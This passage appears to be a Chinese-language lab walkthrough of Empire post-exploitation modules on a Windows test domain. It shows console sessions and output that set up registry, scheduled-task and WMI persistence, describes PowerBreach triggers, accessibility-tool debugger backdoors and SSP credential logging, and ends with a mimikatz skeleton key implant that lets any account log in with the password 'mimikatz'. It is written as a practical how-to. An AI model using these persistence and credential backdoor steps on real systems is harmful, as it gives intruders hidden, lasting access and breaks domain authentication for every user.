这是紧接着上一步
elevated——权限维持
注册表
(Empire: powershell/persistence/elevated/registry) > set Listener test
(Empire: powershell/persistence/elevated/registry) > execute
[>] Module is not opsec safe, run? [y/N] y
(Empire: powershell/persistence/elevated/registry) >
Registry persistence established using listener test stored in HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Debug.
因为是开机启动,所以会弹个黑框
计划任务schtasks
(Empire: powershell/persistence/elevated/schtasks) > set Listener test
(Empire: powershell/persistence/elevated/schtasks) > execute
[>] Module is not opsec safe, run? [y/N] y
(Empire: powershell/persistence/elevated/schtasks) >
成功: 成功创建计划任务 "Updater"。
Schtasks persistence established using listener test stored in HKLM:\Software\Microsoft\Network\debug with Updater daily trigger at 09:00.
wmi
(Empire: powershell/persistence/elevated/wmi) > set Listener test
(Empire: powershell/persistence/elevated/wmi) > execute
[>] Module is not opsec safe, run? [y/N] y
(Empire: powershell/persistence/elevated/wmi) >
WMI persistence established using listener test with OnStartup WMI subsubscription trigger.
查看的方法参考
运行结果
第一个很明显是注册表的,后两者都提权为system权限了
(Empire: FZUB5V31) > agents
[*] Active agents:
Name Lang Internal IP Machine Name Username Process Delay Last Seen
--------- ---- ----------- ------------ --------- ------- ----- --------------------
FZUB5V31 ps 1.1.1.11 WIN-EGQU692VVEO *TEST\Administrator powershell/2736 5/0.0 2017-08-18 10:28:13
E1MPZRLB ps 1.1.1.11 WIN-EGQU692VVEO *TEST\SYSTEM powershell/3624 5/0.0 2017-08-18 10:28:15
NY76AGRX ps 1.1.1.11 WIN-EGQU692VVEO *TEST\SYSTEM powershell/740 5/0.0 2017-08-18 10:28:14
PowerBreach
deaduser
删除指定账户时触发执行
eventlog
定时查看事件日志,当有指定值如Hack
时触发,需要管理员权限执行
resolver
定时解析域名,当满足指定ip时触发
UserLand
顾名思义用户登陆时触发。registry schtasks
跟前面的重复,backdoor_lnk
是构造一个特殊的快捷方式。(但是设置C:\test.LNK并没有发现生成成功)
Misc
add_sid_history
:调用Mimikatz的misc::addsid
,结果ERROR mimikatz_doLocal ; "addsid" command of "misc" module not found !
debugger
:给sethc.exe, Utilman.exe, osk.exe, Narrator.exe, or Magnify.exe
添加debugger
disable_machine_acct_change
: 禁用必须修改密码的策略
ssp
Security Support Provider,直译为安全支持提供者,又名Security Package.
简单的理解为SSP就是一个DLL,用来实现身份认证,例如:
NTLM
Kerberos
Negotiate
Secure Channel (Schannel)
Digest
Credential (CredSSP)
SSPI
: Security Support Provider Interface
,直译为安全支持提供程序接口,是Windows系统在执行认证操作所使用的API。 简单的理解为SSPI是SSP的API接口
LSA
: Local Security Authority
,用于身份认证,常见进程为lsass.exe
特别的地方在于LSA是可扩展的,在系统启动的时候SSP会被加载到进程lsass.exe中.
这相当于我们可以自定义一个dll,在系统启动的时候被加载到进程lsass.exe!
get_ssp
查看当前的ssp列表。
install_ssp
允许你安装指定dll。
memssp
会记录所有的认证事件到C:\Windows\System32\mimisla.log.
Should be reboot persistent.
实际测试根本就没有生成那个log文件,操作系统2008 R2 x64。
skeleton_key
(Empire: powershell/persistence/misc/skeleton_key) >
Job started: C175UZ
Hostname: WIN-EGQU692VVEO.test.com / authority\system-authority\system
.#####. mimikatz 2.1 (x64) built on Dec 11 2016 18:05:17
.## ^ ##. "A La Vie, A L'Amour"
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 20 modules * * */
mimikatz(powershell) # misc::skeleton
[KDC] data
[KDC] struct
[KDC] keys patch OK
[RC4] functions
[RC4] init patch OK
[RC4] decrypt patch OK
Skeleton key implanted. Use password 'mimikatz' for access.
亲测可用,任意用户名加上密码mimikatz
就能登陆。